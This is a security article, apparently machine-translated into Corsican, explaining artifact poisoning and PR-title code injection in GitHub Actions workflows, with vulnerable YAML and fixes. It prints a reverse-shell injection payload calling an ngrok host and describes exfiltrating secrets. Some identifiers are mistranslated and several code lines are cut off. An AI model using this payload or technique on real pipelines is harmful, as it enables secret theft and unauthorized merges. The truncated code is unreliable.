Nantu à i posti precedenti (vede Avvelenatu indirettu Pipeline Esecuzione I-PPE e Avvelenatu Pipeline Esecuzione DPI , avemu trattatu principalmente di DPI (Avvelenati Pipeline Esecuzione): avemu vistu cumu funziona, i so effetti, qualchì sfruttamentu è ancu alcuni modi per prutege si.
Questu articulu si immerge in qualchì altru CI/CD pipeline vulnerabilità cum'è l'avvelenamentu da artefatti è l'iniezione di codice.
Per fà lu, ci baseremu in qualchì modu nantu à i PPE, dunque facemu un riassuntu rapidu di ciò chì avemu vistu nantu à i PPE.
Travagliu precedente nantu à i DPI
Per riassume, avemu cuminciatu cù un GitHub basicu pipeline per custruisce è pruvà u codice cuntribuitu per mezu di un pull requestInoltre, definisce alcune verifiche chì, se soddisfatte, fusioneranu u codice in a branca principale. Avemu chjamatu questu cum'è Scenario #1.

In u nostru post precedente, avemu dimustratu cumu questu basicu pipeline fù vulnerabile à i dui D-PPE è I-PPE.
Avemu riesciutu à riparà D-PPE by mudificazione di l'eventu trigger da dumanda_di_pull à pull_request_target, facendu u pipeline sicuru per D-PPECum'è un ricordu, pipelines attivatu da un avvenimentu pull_request_target eseguirà a basa pipeline codice, micca u pipeline codice cuntenutu in u pull request.
Avemu chjamatu questu cum'è Scenario #2.

In seguitu à sta mudificazione, avemu dimustratu chì U scenariu #2 era sempre vulnerabile à I-PPE.
Per riparà lu, avemu decisu à sparte u pipeline in dui:
- U 1u pipeline (Custruisce CI) averia verificate u codice PR (per custruisce lu), fà a custruzzione è generà un artefattu.
- U 2nd pipeline (Test CI) averia verificate u codice di basa (per evità a mudificazione di u script di shell) è eseguisce i scripts originali contr'à l'artefattu.
- Per sincronizà u CI di prova pipeline da eseguisce DOPU a Custruzzione CI pipeline, useremu u esecuzione_di_flussu_di_flussu grillu.
Avemu chjamatu questu cum'è Scenario #3.

Recuperemu u codice di tramindui pipelinesecondu ste mudificazioni…
1st pipeline (Custruisce CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (Test CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
Avvelenamentu da artefatti
Sicondu sopra CI/CD pipelines:
- pipeline Custruisce CI is sicuru a tramindui D-PPE (à causa di pull_request_target) è I-PPE (perchè ùn esegue più u script di shell).
- pipeline Test CI hè dinù sicuru a tramindui D-PPE (à causa di esecuzione_di_flussu_di_flussu) è I-PPE (perchè verifica u codice di basa per ottene u script di shell originale)
Immergimuci in prufundità in sta "soluzione".
Pipeline Test CI scarica l'artefattu cum'è un schedariu zip.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Una volta decompressu, esegue u script di shell "sicuru". Perchè dicu u script di shell "sicuru"? Perchè in un passu precedente, u pipeline verifica u codice "base", cusì u script originale hè piazzatu in u cartulare di u spaziu di travagliu. Dunque, quandu u pipeline Esegue u script di shell chì eseguirà aduprendu u binariu telecaricatu prima.
Allora, chì hè u prublemu cù questu approcciu? U prublema vene quandu un utilizatore "crea" un novu pipeline.
Sè un utilizatore apre un PR chì cuntene un novu pipeline, GitHub eseguirà què pipeline (date certe cundizioni, cum'è avemu vistu in u precedente) articulu).
Datu questu, chì succede se l'utilizatore crea un novu pipeline cù u listessu nome cum'è Build CI? Iè, hè surprenante, ma GitHub vi permette di creà dui pipelines cù u listessu nome!!
Ricurdatevi chì Test CI serà eseguitu dopu à Build CI…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Sorprendentemente, perchè ci sò avà dui pipelines cù u listessu nome, u pipeline A prova CI serà eseguita duie volteunu dopu à l'uriginale pipeline è altri dopu à u "novu" pipeline.
Cumu pò u pirate informaticu prufittà di questu?
- Prima, l'utilizatore maliziosu pò mudificà u script di shell per mandà u sicretu à u servitore cuntrullatu da i pirate.
- In segundu locu, u novu pipeline include una linea per copià u script di shell mudificatu in l'artefattu → avvelenendu l'artifact!!!
Quandu l'utilizatore apre una PR cù sti cambiamenti, u "novu" pipeline serà eseguitu (caricendu un artefattu avvelenatu) è u CI di Deploy pipeline serà eseguitu dopu à quessa, risultendu in U script di shell "mudificatu" sovrascrive u script di shell "uriginale" situatu in u pipeline spaziu di travagliu.

Questu hè ciò chì chjamemu Avvelenamentu da artefatti, vale à dì u capacità di mudificà (piratà) u pipeline logica per via di a mudificazione di una pipeline artefattu.
Unu pussibule rimediazione hè abbastanza simplice: Basta à decomprimere l'artefattu in una sottucartella di u spaziu di travagliu per evità di sovrascrive u script di shell "base"..
Iniezione di Codice
Oltre à l'avvelenamentu da artefatti, pudete vede qualchì altra vulnerabilità in u codice sopra?
Andemu!!
Cum'è pudete vede in u codice, pipeline Build CI custruisce u binariu, carica u binariu cum'è un pipeline artefattu è, in più, carica un paru di dati supplementari: u Titulu PR è l'ID PR.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Perchè ? Perchè per fusionà u PR, cum'è pudete vede quì sottu, u Test CI pipeline hà bisognu di l'ID PR per invucà l'API REST di GitHub chì fusiona u PR.
Cumu funziona u Test CI pipeline ottene quellu ID PR? Sparte infurmazioni in fugliali di testu (parte di un pipeline artefattu) hè un modu cumunu per sparte infurmazioni trà pipelines. È questu hè esattamente ciò chì questi pipelinesi facenu.
echo "Merging .."
PR_ID=$(
Strettamente parlante, solu l'ID PR hè necessariu per fusionà u PR, ma u pipeline l'amministratore hà decisu chì u CI di Custruzzione includessi ancu u tìtulu PR cusì u CI di Test pipeline stamperebbe un missaghju d'infurmazione chì cuntene sia l'ID PR sia u Titulu.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
U Titulu PR hè sempre dati chì venenu da l'utilizatore è, cum'è tali, devenu sempre esse cunsiderati cum'è micca affidabili.. Cusì u pipeline deve trattà cusì è piglià misure di prutezzione.
In u codice sopra, pudemu vede u missaghju specificu chì face eco à u Titulu PR. Hè solu un cumandamentu linux "echo".
Per via di l'interpolazione di stringhe, se u tìtulu hè "un tìtulu fittiziu", Github genera internamente un script chì cuntene
echo ""a dummy title""
Ma, chì si u tìtulu di e relazioni publiche fussi qualcosa cum'è:
"Tìtulu maliziosu" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "U script diventerà:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Risulta in l'apertura di una shell inversa contr'à u servitore cuntrullatu da i pirate.

Quella cunchiglia inversa puderia esse aduprata per accede à u pipeline sicreti (ricurdatevi chì Test CI hè in esecuzione in modu privilegiatu perchè hè attivatu da workflow_run dunque hà accessu à i sicreti).
Ma, chì altru si pò fà per mezu di quella cunchiglia inversa?
Fighjate u codice di test CI:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
Cum'è pudete vede in u Test CI pipeline, u cumandamentu curl merge usa GITHUB_PAT (definitu cum'è un pipeline var d'ambiente), dunque u runner cuntene GITHUB_PAT cum'è variabile d'ambiente. Inoltre, crea ancu una var d'ambiente chì legge l'ID PR.
Cusì u pirate hà solu bisognu di copià u cumandamentu curl è incollà lu in a shell inversa, fusionendu u PR direttamente in a branca prutetta.

Per prutege si di tuttu què:
- To evitari interpolazione di stringhe cù dati micca affidabili (vulnerabile à iniezione di codice) da chì definiscenu pipeline variabili d'ambiente invece di aduprà direttamente in i cumandamenti d'eco
Invece di aduprà:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Aduprate questu:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Ancu cù l'exploit di l'iniezione di codice, u cumandamentu di curl merge ùn averia micca riesciutu s'è vo l'avessi avutu currettamente. prutettu u vostru pull requests per mezu di qualchì revisione o appruvazione ubligatoria.
cuegghiè
Hè in qualchì modu difficiule di prutege CI/CD pipelinecunfigurazione s è uttene pipelinehè senza vulnerabilità.
Questu ùn significa micca chì CI/CD I sistemi (cum'è GitHub in questu casu) sò vulnerabili per se. CI/CD I sistemi furniscenu i mezi per prutege si contr'à e vulnerabilità... ma hè a rispunsabilità di l'amministratore d'implementà quelle prutezioni.
Ma ... Ùn pudete micca risolve una vulnerabilità senza esse cusciente di a so esistenza!!!
Benintesa, un amministratore devops altamente qualificatu pò avè tutte queste minacce in mente è prutege currettamente u CI/CD pipelines, ma, ancu cusì, hè assai preziosu aduprà un pruduttu per rilevà tutti questi tipi di vulnerabilità. È benintesa per automatizà stu prucessu di detenzione di vulnerabilità (per esempiu, eseguendu a scansione cum'è parte di CI/CD pipelines).
Questu approcciu puderia esse chjamatu "Porta di Sicurezza":
- Crià una nova pipeline (Porta di Sicurezza) per verificà CI/CD pipelines vulnerabilità è fà chì l'altru CI pipelines da eseguisce solu dopu à u cumpletamentu successu di a Porta di Sicurezza pipeline.
- A Porta di Sicurezza pipelines verificarà per CI/CD pipelinee vulnerabilità è,
- Sè si trovanu vulnerabilità, fallirà è, dunque, l'altru pipelines ùn seranu micca eseguiti.
- S'ellu ùn si trovanu micca vulnerabilità, u pipeline riescerà è l'altru pipelines serà eseguitu cum'è di solitu.








